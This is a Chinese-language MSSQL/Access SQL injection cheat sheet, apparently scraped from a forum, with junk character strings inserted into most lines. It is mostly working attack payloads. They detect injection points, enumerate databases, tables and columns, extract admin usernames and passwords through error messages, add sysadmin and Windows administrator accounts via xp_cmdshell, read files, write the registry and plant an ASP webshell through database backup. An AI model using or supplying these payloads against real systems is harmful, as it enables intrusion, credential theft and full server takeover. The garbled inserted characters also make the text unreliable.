1.判断是否有注入 5 w0 X9 ~ T) z% g7 g
;and 1=1
" r7 N! J4 U- z! d8 ~;and 1=2
" q1 R. Q# Q6 g
2 V' v& i+ _4 ]( l2 z7 |! L' a v2.初步判断是否是mssql - M) x2 \$ F( {3 ?/ i' X" d
;and user>0 # U) o' d& [; m
/ f% A7 s* z4 @: H
3.判断数据库系统 + C7 P4 l' [5 [* }
;and (select count(*) from sysobjects)>0 mssql
1 o- s- s% k, Y: K- G+ E;and (select count(*) from msysobjects)>0 access
) J! g: Y5 |6 ^, F3 E, v- d$ K+ T
# [- j7 ?7 V7 t$ U" z& Z4.注入参数是字符
' r! Y- L$ E2 Q5 j9 Z% Q: s9 ^'and [查询条件] and ''='
! Y: C" y" C- {8 d: \) K+ `0 g; J9 d0 f% n0 M
5.搜索时没过滤参数的 4 Z3 A6 W- ~5 p+ a" F7 [
'and [查询条件] and '%25'=' & e& H9 y* P& e$ E4 f
# y6 f8 H9 _' Z- v( ]! h& j
6.猜数表名
[, S; n/ W2 i4 |* S1 P8 I! E;and (select Count(*) from [表名])>0
6 w6 \; J& p0 u
1 c7 g0 V9 ?$ P1 P, O, ~7.猜字段 . |/ t+ G; {, B* e4 w' g
;and (select Count(字段名) from 表名)>0
) f# d2 [1 @! J5 k+ a1 B
8 c& z1 u1 k6 P2 }! ?8.猜字段中记录长度 $ V8 O# ]" k3 _2 s' x- \2 x
;and (select top 1 len(字段名) from 表名)>0
3 w! V" Q! @6 A _+ g0 ] {5 Y2 l+ t4 e0 Q
9.(1)猜字段的ascii值(access) 3 M$ r3 H- X$ `, c
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
2 d( K6 L/ t# B, a4 ~1 R$ Z) A* w$ T* f$ ^ E7 B3 ^9 K% l- N
(2)猜字段的ascii值(mssql) ; d% u8 y1 }4 V8 s
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
3 I, f# B* G1 }6 f, J d9 Y+ F& W8 j
% @2 ~1 U9 H1 F! O0 P10.测试权限结构(mssql)
m" d. E# }2 s+ [- N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; w2 t7 Z# _$ x: P! i0 E. M+ M;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 t# q: ?' X9 n
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
s8 j6 Z3 X0 l4 \;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- & |2 F) i4 h8 V$ @; @" Q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 Q: H- U2 X- s) | i. Y( W;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & X/ D. e* f# _# A
;and 1=(select IS_MEMBER('db_owner'));-- & z- K) l+ x+ e- R
# O; s, j1 \5 h8 s0 ]- x11.添加mssql和系统的帐户
/ J# {/ i6 C$ S9 ]6 f;exec master.dbo.sp_addlogin username;--
. `- Q, S- w4 g$ X;exec master.dbo.sp_password null,username,password;--
) I3 d" T, X% z. P+ N; ~;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- Y$ t. s" u$ l' i* L;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 8 o' K, b# Y8 B. Q' g
;exec master.dbo.xp_cmdshell 'net user username password /add';--
7 R* o/ W1 Q1 A& ^; p, o6 T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- % ^% {0 F3 W {' z
3 {! u+ {7 l# L12.(1)遍历目录 3 X. w3 C0 k9 g7 W( X2 Q H
;create table dirs(paths varchar(100), id int)
4 Z# w+ r0 }' a( P N2 |, c;insert dirs exec master.dbo.xp_dirtree 'c:\' % s4 X: L7 g* V( H2 w' c
;and (select top 1 paths from dirs)>0 $ b4 p( A/ \& O
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 X9 X: \: i2 K6 L; C. G7 Z& N y& ~5 B q# l! f
(2)遍历目录 3 j+ M: v f& X, G g8 l( ? _
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! l1 c( ^) N( j1 u;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 y# Y6 S# B, N: @1 v. x5 ?; m6 C- M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & R# }' v9 u4 L6 t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 $ R: |2 w- d/ W
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 Q9 X5 _4 O$ U V$ p2 n8 V( U' J$ }* R+ l
13.mssql中的存储过程 2 q* e$ d0 H( ?# Q
xp_regenumvalues 注册表根键, 子键
4 Z) R7 a, m8 L4 j4 o3 _;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! f5 h6 D! L3 O( k; i0 F
xp_regread 根键,子键,键值名
+ V) U& X8 O$ e0 g;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
! y2 y# ^5 K9 u9 kxp_regwrite 根键,子键, 值名, 值类型, 值 0 {: ?. Z. d3 h) d- S9 j
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% f: L) F7 p" K$ ?: t+ S;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
1 Y* ~" }2 G+ O% Hxp_regdeletevalue 根键,子键,值名
% R3 j* b7 R' `' V! ?( ^) S# fexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 6 q# C. ?5 M6 E; c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 * p p- l U6 f% u
# J- n( s. f1 C. |14.mssql的backup创建webshell
* E- ?) y# T5 {0 |1 @6 }use model
) F2 {: o- |: i) C' Z& j, gcreate table cmd(str image); 8 Q9 c# Y% Q5 _6 [1 L: b. ~2 }) L
insert into cmd(str) values ('<% Dim oScript %>');
& S- }# _( l c5 bbackup database model to disk='c:\l.asp';
$ |2 Q# c0 k$ X: q r2 W/ ]& D8 K T: _* x
15.mssql内置函数
8 S3 P/ j. t: R& ^2 Z2 T8 Y. j;and (select @@version)>0 获得Windows的版本号 9 n% c% x/ n4 d l. h! V& \3 Q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 P5 B5 @, _" }9 z0 M$ H;and (select user_name())>0 爆当前系统的连接用户 1 J$ j! V6 F& l
;and (select db_name())>0 得到当前连接的数据库 * S, s4 `: ^# t, f) h6 _
2 Y1 _& A7 m2 |3 b8 d" h" K' d
4 c7 G9 E6 h" V% [% Z
# U5 l0 r5 N0 B$ e7 d3 rMSSQL手注暴库( K# Y; y2 @6 K9 Y% Q0 z
u* B, r! K& b% y1 ] g
1.暴出当前表名和列名5 A; i0 x5 Z n2 k$ |* \
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
. D) a; A* a4 L2 g8 d B$ y0 V9 x$ z3 Y, p+ X9 q; j/ c' C, W
第一.爆出所有数据库名
, O5 F# O4 k4 z6 ]8 o5 Y利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。/ i/ e. V! s; v+ p+ q# v
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
2 N9 W) ^( b; }4 L! x( a* W- b
% G) ?1 l3 ?6 u; h$ xand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
9 f- ]* o' {; H! `: O
8 ?+ N' t" m- u, c
A, C0 r% h" {( w6 z0 b! T) H第二.爆出指定库中的所有表名3 `4 \* f* b5 {& z( K9 D
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。, B! w9 Z, t5 C# o
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。7 ` v9 Q; V2 ?3 @) r# }& t
* j5 J# {% F7 p6 ]
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
7 {& y% B/ {' _0 R0 D5 X6 ?* ?9 Rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--. U# V0 P% b1 ~* f$ Q0 \
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--; A& w& r& Z( P5 g+ \/ {. R% c
5 s' L( E/ m$ }5 h* @8 @( E: l
4.爆出指定表中的所有列名
, ^( u( K! S) T7 fand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 3 e5 k; q5 D. M3 R" G6 M' Q9 ]# f
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'# W+ A1 \- e( P* m3 }
* p9 O2 Q$ g# [7 Cand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名0 a+ {* ~: o- c3 S
. [; _: ` V9 z- h: I6 _
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 H: [) q- @$ d$ h& Y9 k8 E依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
) L" G- t/ Y% s5 O& \$ s& U' k. V9 ?7 P* C
% X) n, k2 ?6 A8 n# r2 v$ Zand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
9 f$ A( F% `8 [
8 L: y& b( c: h, Z6 zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名* ] Z8 X' G# Q" L' i
, J( `0 {0 {) z9 _% V, }2 a Sand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
: E* T7 ?- @2 r8 j$ y7 r, e/ g. [& D. n/ u' Z2 Z+ n
/ l! |( r$ d o L m) I1 u9 d2 d; \" _3 V' \
5.读取指定表中的数据6 ^, p5 N4 n- }: {( R8 f" o
6 O L: O, f9 g# d
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
, [! w$ C1 f- s" ^, |$ |. Z2 N( @* E6 |8 J3 H& N3 |" W2 S
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--" y/ C! C: {, x: q7 g8 _8 ]) u
2 b7 y5 f. l+ F6 ]2 X! H" land 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 f" j) v* B" E
% @- d- l* v9 L
0 b, i! b1 I$ R2 f/ sand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)0 a1 i( {" N/ F+ V6 o
# N- q4 {$ `3 [! r: m/ Hand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)- @$ r. c$ w N5 u) M- F# u% _
- O6 e# G+ G$ Z" j
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
$ `0 J) ~' ~0 y; @, p4 @) _$ a2 N! q* j% ?' |8 m
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。9 K3 S2 g& a# N- r# D
|